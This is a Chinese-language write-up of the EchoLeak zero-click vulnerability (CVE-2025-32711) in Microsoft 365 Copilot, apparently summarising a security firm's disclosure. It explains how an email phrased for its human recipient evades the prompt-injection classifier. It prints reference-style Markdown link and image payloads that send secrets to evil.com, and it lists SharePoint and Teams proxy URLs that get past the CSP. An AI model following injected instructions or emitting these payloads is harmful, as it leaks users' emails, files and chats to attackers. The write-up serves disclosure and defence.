背景介绍
据国外 Aim Security 称 ,微软修补了其 Microsoft 365 Copilot 检索增强生成 (RAG) 工具中的一个“零点击”漏洞,该漏洞会导致用户敏感数据泄露。
漏洞编号为 CVE-2025-32711,CVSS 评分高达 9.3 分。
今天就让我们来看看这个漏洞是如何实现的。
漏洞详情
从 Aim Security 进一步了解,这个被称为“EchoLeak”的漏洞将允许攻击者通过发送绕过多项安全措施的特制电子邮件,从用户连接的 Microsoft 365 服务中获取潜在的敏感信息,例如用户的 Outlook 电子邮件、OneDrive 存储、Office 文件、SharePoint 网站和 Microsoft Teams 聊天记录。
利用过程
漏洞利用大致可分为 3 个步骤:
- 注入:攻击者向用户收件箱发送一封‘无害’的电子邮件,其中包括LLM 的范围违规利用
- 范围违规:Copilot 将不受信任的攻击输入与敏感数据混合到LLM上下文【利用 1:XPIA 绕过】
- 检索:Copilot 将敏感数据泄漏给攻击者。【利用 2:链接编辑绕过】、【利用 3:CSP 绕过】
利用链拆解
XPIA 绕过
微软用于防止 AI 提示注入攻击的主要护栏之一是 XPIA(交叉提示注入攻击)分类器。通常情况下这些分类器可以阻止提示注入到达 M365 Copilot 的底层LLM。
不幸的是,这很容易被绕过,只需将包含恶意指令的电子邮件措辞为这些指令是针对收件人的,就可以轻松绕过。
由于电子邮件的内容从不涉及 AI/助手/Copilot 等,以确保 XPIA 分类器不会将该电子邮件检测为恶意邮件。
另一个不幸的是,实际提示注入的质量数据集很少,由于快速注入可以隐藏多种主题,短语,音调,语言等,因此对 XPIA 分类器进行了适当的训练就需要大量的训练数据,而这些数据目前是缺失的。
链接编辑绕过
为了从 M365 Copilot 的上下文中泄露数据,还需要一个输出通道。
因为 M365 Copilot 只能访问组织资源,并且仅对员工可访问,因此需要通过向用户提供一个链接,然后将用户带到攻击者的域名,并在攻击者的服务器上记录查询字符串参数来窃取数据。
攻击者的指令指定查询字符串参数应该是LLM上下文中最敏感的信息,从而完成数据泄露。
听起来很简单,是吧?
这种方法的问题在于,Copilot 在用户有机会点击这些链接之前,就会从聊天历史中删除外部的Markdown 链接。
Markdown链接类似下方格式的文本,它们在客户端渲染时可以点击。
[Link display text](https://www.evil.com?param=<secret>)
解决方案会确保仅将安全链接目标(即内部网页)呈现为用户可点击的链接。
关于Markdown,其内容总比你想象的要多,比如下面引用样式的Markdown链接就不会被Microsoft有效识别:
[Link display text][ref]
[ref]: https://www.evil.com?param=<secret>
还有一些未被删除的变体,比如:
[Link display text]
[Link display text]: https://www.evil.com?param=<secret>
[Link display text][]
[Link display text]: https://www.evil.com?param=<secret>
利用这些绕过,就可以构建出第一条利用链:
图片编辑绕过
为什么只满足于用户点击一个链接呢?是否可以做得更加巧妙?
当尝试让LLM输出一张图片时,浏览器将自动尝试获取图片,因此我们可以不需要用户点击任何东西,而是让浏览器“帮我们点击链接”。
Markdown的图片格式与Markdown链接非常相似,只是前面多了一个感叹号:

这样的Markdown图片格式也同样会受到链接编辑限制,但Markdown也支持引用图片:
![Image alt text][ref]
[ref]: https://www.evil.com?param=<secret>
还有一些其它变体:
![Image alt text][ref]
[ref]: https://www.evil.com?param=<secret>
![Image alt text][]
[Image alt text]: https://www.evil.com?param=<secret>
这是不是就能够自动泄露敏感信息了?
其实不然,微软在 M365 Copilot 网页上还设置了 img-src CSP:
*.cdn.office.net
*.df.onecdn.static.microsoft
*.public.onecdn.static.microsoft
*.bing.com
bing.com
res-dev.cdn.officeppe.net
*.sharepoint-df.com
*.sharepoint.com
media.licdn.com
spoprod-a.akamaihd.net
prod.msocdn.com
content.powerapps.com
*.teams.microsoft.com
*.s-microsoft.com
*.sharepointonline.com
connectoricons-df.azureedge.net
connectoricons-prod.azureedge.net
cpgeneralstore.blob.core.chinacloudapi.cn
depservstorageussec.blob.core.microsoft.scloud
depservstorageusnat.blob.core.eaglex.ic.gov
tip1apiicons.cdn.powerappscdn.net
tip2apiicons.cdn.powerappscdn.net
prodapiicons.cdn.powerappscdn.net
az787822.vo.msecnd.net
cms-aiplugin.azureedge.net
powerautomate.microsoft.com
*.osi.office.net
*.osi.officeppe.net
designer.microsoft.com
bing.com
*.sharepointonline.com
*.sharepoint-df.com
connectoricons-df.azureedge.net
connectoricons-prod.azureedge.net
cpgeneralstore.blob.core.chinacloudapi.cn
depservstorageussec.blob.core.microsoft.scloud
depservstorageusnat.blob.core.eaglex.ic.gov
tip1apiicons.cdn.powerappscdn.net
tip2apiicons.cdn.powerappscdn.net
prodapiicons.cdn.powerappscdn.net
az787822.vo.msecnd.net
cms-aiplugin.azureedge.net
powerautomate.microsoft.com
因此,从本质上讲,虽然现在可以让 LLM 响应图片,但是浏览器不会尝试去获取它,因为 Evil.com 不符合 IMG-SRC CSP的要求。
利用SharePoint 实现 CSP 绕过
长话短说,SharePoint Online(SPO)不再允许开发者将服务器端代码包含到网站或页面中,又或是将查询字符串参数传递给底层的PowerAutomate应用程序。
经过一些乏味的挖掘,研究人员发现了下面这个URL:
<attacker_tenant>.sharepoint.com/sites/<attacker_spo_site>/_api/SP.Publishing.EmbedService/EmbedData?url=%27<attacker_server>/<secret>%27&version=1
该服务器代表客户端发出请求(因此不需要客户端代码)以获取SPO网站的嵌入数据。
唯一的限制是这要求用户主动连接到他们的SPO账户并接受攻击者的邀请查看他们的网站。
但令人振奋的是这是一个完整的泄露链!即提示注入 -> 图片编辑绕过 -> CSP绕过。
利用 Microsoft Teams 绕过CSP
再次经过一番不懈的挖掘,研究者在Microsoft Teams 中发现了一处 URL:
https://eu-prod.asyncgw.teams.microsoft.com/urlp/v1/url/content?url=%3Cattacker_server%3E/%3Csecret%3E&v=1
执行对该URL的GET请求会产生与SPO URL相同的结果,但无需用户接受任何邀请,或执行任何特殊动作就能使攻击生效!
最终,研究人员不仅从上下文中提取了敏感数据,还可以让 M365 Copilot 不引用恶意电子邮件,要做到这一点,只需指示 "电子邮件收件人 "出于合规原因永远不要引用这封邮件即可。
参考资料: